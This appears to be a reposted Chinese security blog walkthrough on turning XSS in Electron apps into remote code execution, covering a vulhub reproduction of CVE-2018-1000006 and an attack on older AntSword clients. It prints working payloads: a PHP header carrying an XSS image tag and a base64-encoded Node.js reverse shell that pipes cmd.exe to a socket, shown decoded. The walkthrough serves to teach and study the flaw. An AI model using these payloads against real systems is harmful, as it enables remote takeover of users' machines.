Electron框架XSS TO RCE简析

admin 2022年5月8日14:29:09评论572 views字数 1757阅读5分51秒阅读模式



Electron框架简介



Electron是由Github开发,用HTMLCSSJavaScript来构建跨平台桌面应用程序的一个开源库。Electron通过将ChromiumNode.js合并到同一个运行时环境中,并将其打包为MacWindowsLinux系统下的应用来实现这一目的。简单的说,Electron框架可以看做一个web浏览器,开发者只需要掌握javascripthtmlcssweb开发语言就可以开发出跨平台运行的桌面客户端程序。



Electron框架漏洞简述



该远程代码执行漏洞CVE编号为CVE-2018-1000006,该漏洞的成因是在windows操作系统下,Electron 支持注册自定义 url 协议,浏览器可通过伪协议这种 IPC 方式唤起本地的应用,使用应用自定义协议(Custom URI Scheme)Handler的Electron应用均会受到该漏洞的影响。由于Electron框架较为流行,Github、微软、Slack等厂商的客户端均曾受该漏洞的影响,其中,国内流行的安全工具蚁剑、Goby也曾受该漏洞的影响。




Electron RCE漏洞复现



首先下载vulhub

git clone https://github.com/vulhub/vulhub.git

Electron框架XSS TO RCE简析

启动Electron RCE漏洞环境

cd /root/vulhub/electron/CVE-2018-1000006/docker-compose run -e ARCH=64 --rm electrondocker-compose run --rm -p 8080:80 web

Electron框架XSS TO RCE简析

访问http://ip:8080

Electron框架XSS TO RCE简析

下载页面上的 vulhub-app.tar.gz,解压后压缩包中包含一个vulhub-app.exe的程序,该程序即为使用Electron框架编写的存在漏洞的程序

Electron框架XSS TO RCE简析

点击页面上的click me超链接,发现可以直接通过浏览器访问链接达到调用应用的效果,漏洞复现成功

Electron框架XSS TO RCE简析

Electron框架XSS TO RCE简析




Electron框架XSS TO RCE之蚁剑



首先在phpstuday目录下创建一个xss.php

该文件中的内容为

<?php

header('HTTP/1.1 500 <img src=# onerror=alert(1)>');

Electron框架XSS TO RCE简析

启动phpstudy

然后使用蚁剑进行访问连接http://ip:port/xss.php,蚁剑加载器需要下载v2.0.7之前的版本

保存连接后双击访问,弹出对话框,存在xss漏洞

Electron框架XSS TO RCE简析

在phpstudy目录下再添加一个rce.php

rce.php中的内容如下

<?php

header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())'>");

?>

其中经过base64编码的原始内容为

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

sh.stderr.pipe(client);});

Electron框架XSS TO RCE简析

保存后使用蚁剑连接http://ip:port/rce.php,即可获取蚁剑客户端所在主机的反弹shell

Electron框架XSS TO RCE简析


Electron框架XSS TO RCE简析


Electron框架XSS TO RCE简析

原文始发于微信公众号(第59号):Electron框架XSS TO RCE简析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日14:29:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Electron框架XSS TO RCE简析https://cn-sec.com/archives/978720.html

发表评论

匿名网友 填写信息